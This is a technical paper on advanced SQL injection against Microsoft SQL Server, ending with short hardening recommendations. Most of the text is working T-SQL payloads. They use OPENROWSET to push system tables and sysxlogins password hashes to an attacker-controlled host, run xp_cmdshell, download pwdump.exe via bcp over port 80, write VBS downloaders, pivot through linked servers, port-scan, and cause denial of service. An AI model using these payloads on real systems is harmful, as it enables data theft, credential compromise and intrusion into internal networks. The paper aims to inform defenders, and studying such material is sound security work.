Harnessing SQL Injection Techniques on Microsoft SQL Server

Author: Sunny Thakur

Introduction

This paper focuses on advanced SQL Injection attack techniques specifically targeting web applications with Microsoft SQL Server as the backend. Rather than covering basic SQL syntax or introductory SQL Injection concepts, this paper assumes the reader has a solid understanding of these fundamentals. The discussion is aimed at demonstrating how attackers can exploit SQL Injection vulnerabilities to exfiltrate sensitive data from within a protected network and potentially gain access to internal systems.

As web application security awareness grows, so too does the sophistication of security measures against SQL Injection. Despite these advancements, complex applications can still be compromised by a single security oversight. Developers and administrators often feel secure if they employ techniques like stored procedures or error message masking, yet these measures alone do not eliminate vulnerability to SQL Injection.

Although this paper uses Microsoft SQL Server as the primary example, SQL Injection vulnerabilities are not limited to any specific database platform—they pose a threat to all databases, including Oracle and IBM DB2. SQL Injection exploits the flexibility inherent in SQL-based systems, and anytime arbitrary SQL is allowed, there is a risk of system compromise. This paper aims to inform security professionals of the real and substantial threat SQL Injection poses to any organization, especially when preventive measures are overlooked or misapplied.

Detection of SQL Injection Vulnerabilities

Many developers and web administrators feel secure from SQL Injection attacks if error messages are suppressed and query results are not directly returned to the browser. This section expands upon the initial research presented by Chris Ansley from NGSSoftware, exploring advanced detection and exploitation techniques that attackers may use.

Exploitation Approach

To effectively exploit SQL Injection in an application, an attacker needs:

1. A way to verify if the injected SQL code is being executed on the server.
2. A method for retrieving results indirectly, especially when the application does not return SQL errors.

In Microsoft SQL Server, the `OPENROWSET` and `OPENDATASOURCE` functions provide mechanisms to interact with remote data sources. Both functions use an OLEDB provider to establish a connection with external sources, but for simplicity, `OPENROWSET` will be used in the following examples.

Example of OPENROWSET Exploitation

Using OPENROWSET, an attacker can retrieve all rows from a remote data table by specifying the server address and credentials. The following SQL statement shows how OPENROWSET can be used to access a remote data source:

```
SELECT * FROM
OPENROWSET('SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'SELECT *
FROM table1')
```

Parameters:

1. **OLEDB Provider Name**: Specifies the OLEDB provider to use, here set to SQLoledb.
2. **Connection String**: Defines the connection details like credentials and server address.
3. **SQL Statement**: The query executed on the remote data source.

Expanded Example with Network Parameters

The connection string can further include network settings like the IP address and port. This example demonstrates how to specify a direct IP address and port for a more targeted connection:

```
SELECT * FROM
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;', 'SELECT *
FROM table')
```

In this example:

- SQLoledb is used as the OLEDB provider.
- SQL Server connects to IP 10.0.0.10 on port 1433 using sa as the username and h8ck3r as the password.
- The connection is facilitated by the SQL Server sockets library (DBMSSOCN), which specifies the connection protocol.

Exploiting Open Connections to Attacker-Controlled Servers

An attacker can also configure OPENROWSET to connect to an arbitrary IP address and port under their control. In this scenario, the attacker's host (e.g., "hackersip") runs an SQL Server on port 80, which is typically allowed through firewalls:

```
SELECT * FROM
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;', 'SELECT * FROM
table')
```

his injection technique forces the target server to initiate an outbound connection attempt to the attacker's IP, circumventing outbound firewall restrictions as connections to port 80 are often permitted.

Summary

By leveraging SQL Server's `OPENROWSET` function, attackers can:

1. Confirm if injected SQL statements execute, without relying on visible errors.
2. Retrieve data indirectly by establishing connections to external IPs and ports, often bypassing firewall restrictions.

This technique emphasizes the importance of rigorous input validation and strict database connection handling to prevent SQL Injection vulnerabilities.

Retrieving Results from SQL Injection

SQL Server's `OPENROWSET` and `OPENDATASOURCE` functions are primarily known for pulling data into SQL Server for manipulation. However, these functions can also facilitate pushing data to a remote SQL Server. While `OPENROWSET` can execute various types of SQL statements (e.g., `SELECT`, `UPDATE`, `INSERT`, and `DELETE`), manipulating remote data sources is less common and depends on the capabilities of the OLEDB provider used. The `SQLOLEDB` provider supports all these operations.

Example: Pushing Data to an External Data Source

To illustrate how to push data, consider the following example where data from a local table is inserted into a remote table:

```
INSERT INTO
OPENROWSET('SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'SELECT *
FROM table1')
SELECT * FROM table2
```

In this example, all rows from `table2` on the local SQL Server will be appended to `table1` in the remote data source. It is crucial that both tables have the same structure for this operation to succeed.

Redirecting to an Attacker-Controlled Remote Data Source

An attacker could modify the previous statement to connect to a copy of Microsoft SQL Server running on their own machine:

```
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM table1')
SELECT * FROM table2
```

To successfully insert data into `table1`, the attacker must first create `table1` with identical columns and data types as those in `table2`. The structure of system tables is well-known, allowing an attacker to determine the required schema by initially querying system tables like `sysdatabases`, `sysobjects`, and `syscolumns`. Here's how an attacker might proceed:

```
-- Inserting into a replica of sysdatabases
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM _sysdatabases')
SELECT * FROM master.dbo.sysdatabases

-- Inserting into a replica of sysobjects
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM _sysobjects')
SELECT * FROM user_database.dbo.sysobjects

-- Inserting into a replica of syscolumns
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM _syscolumns')
SELECT * FROM user_database.dbo.syscolumns
```

Retrieving Data from Tables

After recreating the necessary tables in the database, the attacker can retrieve data using similar `INSERT` commands. For instance, to retrieve contents from `table1`:

```
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM table1')
SELECT * FROM database..table1

INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM table2')
SELECT * FROM database..table2
```

Using this technique, an attacker can extract table contents, even if the application is designed to hide error messages or invalid query results.

Retrieving Sensitive Information

With appropriate privileges, attackers can also access sensitive data like login credentials and password hashes:

```
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM _sysxlogins')
SELECT * FROM database.dbo.sysxlogins
```

acquiring these password hashes enables attackers to perform brute-force attacks on user accounts.

Executing Commands on the Target Server

Attackers can further exploit SQL injection by executing commands on the attacked server and retrieving the results:

```
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'SELECT *
FROM temp_table')
EXEC master.dbo.xp_cmdshell 'dir'
```

Bypassing Firewall Restrictions

If the firewall blocks outbound SQL Server connections, attackers can leverage port 80 to disguise their traffic as HTTP requests:

```
INSERT INTO
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'SELECT * FROM
table1')
SELECT * FROM table1
```

f outbound connections over port 80 are also restricted, attackers may experiment with different port numbers to find one that is unblocked.

Conclusion

Through the strategic use of SQL Server's `OPENROWSET` and `OPENDATASOURCE`, attackers can not only retrieve data from remote databases but also manipulate data and execute commands, all while potentially bypassing security measures. This emphasizes the critical need for robust input validation and database security practices to mitigate SQL Injection vulnerabilities.

Elevating Privileges

In many instances, administrators adopt security best practices by configuring applications to operate with non-privileged logins. If an attacker successfully identifies a vulnerability associated with this non-privileged login, they may attempt to elevate their privileges to gain full administrator access. This privilege escalation can be accomplished by exploiting both known and unknown vulnerabilities. Given the multitude of recently discovered vulnerabilities in SQL Server, an attacker capable of executing arbitrary queries can often elevate privileges with relative ease. For a list of published advisories regarding such vulnerabilities, refer to:

- Application Security Inc. - SQL Server Advisories
- Application Security Inc. - MSSQL Alerts

Uploading Files

Once sufficient privileges on the SQL Server have been obtained, the next step for an attacker is often to upload malicious binaries to the server. Since traditional protocols like SMB are typically blocked by firewalls on ports 137-139, attackers need to utilize alternative methods to transfer binaries onto the victim's file system. A common approach involves uploading a binary file into a table located on the attacker's local server, and subsequently pulling that data into the victim's file system using a SQL Server connection.

To initiate this process, the attacker would create a local table as follows:

```
CREATE TABLE AttackerTable (data TEXT);
```

With the table created to hold the binary data, the attacker can upload the binary into it using:

```
BULK INSERT AttackerTable
FROM 'pwdump.exe'
WITH (CODEPAGE='RAW');
```

The attacker can then transfer the binary to the victim server by executing the following SQL statement on the victim server:

```
EXEC xp_cmdshell 'bcp "SELECT * FROM AttackerTable" QUERYOUT pwdump.exe -c
-Craw -Shackersip -Usa -Ph8ck3r';
```

This command initiates an outbound connection to the attacker’s server, writing the results of the query to a file, thus reconstructing the executable on the victim server. Since the default protocol and port may be blocked by the firewall, the attacker could reconfigure the connection settings to utilize port 80, which is commonly allowed. This can be achieved using:

```
EXEC xp_regwrite
'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'HackerSrvAlias', 'REG_SZ', 'DBMSSOCN,hackersip,80';
```

Subsequently, the attacker would execute:

```
EXEC xp_cmdshell 'bcp "SELECT * FROM AttackerTable" QUERYOUT pwdump.exe -c
-Craw -SHackerSrvAlias -Usa -Ph8ck3r';
```

This series of commands configures a connection to the attacker’s server over port 80, facilitating the download of the binary file.

Additionally, attackers may opt to create and execute Visual Basic Script (.vbs) or JavaScript files (.js) on the operating system's file system. This technique allows scripts to connect to any server, enabling the download of malicious binaries or the execution of the scripts to facilitate further attacks:

```
EXEC xp_cmdshell '"first script line" >> script.vbs';
EXEC xp_cmdshell '"second script line" >> script.vbs';
...
EXEC xp_cmdshell '"last script line" >> script.vbs';
EXEC xp_cmdshell 'script.vbs'; -- Execute the script to download binary
```

Getting into the Internal Network

Microsoft SQL Server's linked and remote server capabilities enable one server to communicate transparently with a remote database server. This feature allows attackers to execute distributed queries and even control remote database servers, which can facilitate access to the internal network.

An attacker might initiate their intrusion by collecting information from the `master.dbo.sysservers` system table, as demonstrated below:

```
INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysservers');
SELECT * FROM master.dbo.sysservers;
```

To further extend their reach, the attacker could query information from the linked and remote servers:

```
INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysservers');
SELECT * FROM LinkedOrRemoteSrv1.master.dbo.sysservers;

INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysdatabases');
SELECT * FROM LinkedOrRemoteSrv1.master.dbo.sysdatabases;
```

If linked and remote servers are not configured for arbitrary data access and only allow the execution of stored procedures, the attacker could use the following commands:

```
INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysservers');
EXEC LinkedOrRemoteSrv1.master.dbo.sp_executesql N'SELECT * FROM
master.dbo.sysservers';

INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysdatabases');
EXEC LinkedOrRemoteSrv1.master.dbo.sp_executesql N'SELECT * FROM
master.dbo.sysdatabases';
```

By leveraging this technique, attackers can "leapfrog" from one database server to another, progressively infiltrating deeper into the internal network through linked and remote servers:

```
INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysservers');
EXEC LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''SELECT * FROM
master.dbo.sysservers''';

INSERT INTO OPENROWSET('SQLOLEDB',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'SELECT * FROM _sysdatabases');
EXEC LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''SELECT * FROM
master.dbo.sysdatabases''';
```

Once the attacker has gained sufficient access to a linked or remote server, they can begin uploading files using the methods discussed earlier, further compromising the security of the network.

PORT SCANNING

Using previously described techniques, an attacker can exploit a SQL Injection vulnerability as a rudimentary IP/port scanner for both internal networks and the Internet. This method can also mask the attacker's actual IP address.

Once a vulnerable web application is identified, the attacker could submit the following SQL statement:

```
SELECT * FROM OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',
'SELECT * FROM table');
```

This command will attempt to establish an outbound connection to `10.0.0.123` over port `80`. By analyzing the error message returned and the time taken, the attacker can ascertain whether the port is open or closed:

- **Closed Port**: If the port is closed, the timeout specified in seconds will be utilized, and the following error message will appear:

```
SQL Server does not exist or access denied.
```

Open Port: If the port is open, the response time will be minimal (although this can vary depending on the application listening on the port), and the attacker may receive one of the following messages:

```
General network error. Check your network documentation.
```

Or

```
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
```

Through this method, an attacker can effectively map open ports on IP addresses within the internal network or the Internet, hiding their IP address since the connection attempts are made by the SQL Server itself. While this port scanning technique is relatively basic, when used systematically, it can successfully map a network.

Moreover, this type of port scanning can inadvertently lead to a Denial of Service (DoS) attack. For example:

```
SELECT * FROM OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
'SELECT * FROM table');
```

This command will initiate outbound connections to `10.0.0.123` over port `21`, attempting to establish a connection for ten minutes and potentially generating almost 1000 connection attempts against the FTP service. SQL Server's inability to connect to a valid instance will prompt it to continue trying to connect for the duration specified. Executing this attack multiple times simultaneously can significantly amplify its effects.

RECOMMENDATIONS

The most critical recommendation is to eliminate any SQL injection vulnerabilities. This is paramount since addressing the issues discussed in this document alone will not suffice; new vulnerabilities may arise.

To prevent SQL injection, it is advised to use parameterized queries and to sanitize all user inputs for non-alphanumeric characters. Establishing coding standards that enforce these practices is a systematic approach. If the codebase is already established, conducting a code review to identify vulnerabilities is highly recommended. Additionally, consider utilizing automated tools for detecting these issues.

Even after addressing known vulnerabilities, it remains prudent to disable specific functionalities in SQL Server. While this may not be feasible for all applications, the features we aim to restrict are seldom used.

1. Disable ad hoc queries through OLEDB from SQL Server. Control ad hoc queries via the `DisallowAdhocAccess` setting in the registry.
2. For named instances (Microsoft SQL Server 2000 only), set `DisallowAdhocAccess` to `1` under each subkey of the following registry key:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL
Server\[InstanceName]\Providers
```

For default instances, set `DisallowAdhocAccess` to `1` under each subkey of:

```
HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers
```

Steps to Set Registry Value:

1. Start the Registry Editor (`regedit.exe`).
2. Navigate to the specified registry key.
3. Select the first provider subkey.
4. Go to the menu item `Edit -> New -> DWORD Value`.
5. Name the new DWORD value `DisallowAdhocAccess`.
6. Double-click the value and set it to `1`.
7. Repeat for each provider.

For enhanced security, consider making the registry keys read-only to prevent unauthorized edits.

Furthermore, it is vital to stay updated with the latest security patches and to apply them promptly. To keep abreast of vulnerabilities, sign up for ASI Security Alerts specifically targeting Microsoft SQL Server:
ASI Security Alerts

As a final precaution, configure and test firewall filters to block all unnecessary outbound traffic. This action not only secures databases but also helps protect the entire network.

CONCLUSION

This paper demonstrates how a small initial access point can escalate into full control over multiple servers. SQL is a versatile language; thus, allowing arbitrary SQL execution based on user input is a significant security risk. Just as one would not grant rights to run arbitrary C++ or Visual Basic on a server, one should not permit the execution of user-supplied SQL commands.

Microsoft SQL Server is a robust, flexible, and cost-effective database that underpins numerous applications. Understanding how SQL Server can be compromised and, more importantly, how to prevent such breaches is crucial. SQL Server is a tool; if mismanaged or neglected, it can cause harm not only to the data stored within databases but also to other applications within the network. Consequently, we must prioritize the security of Microsoft SQL Server.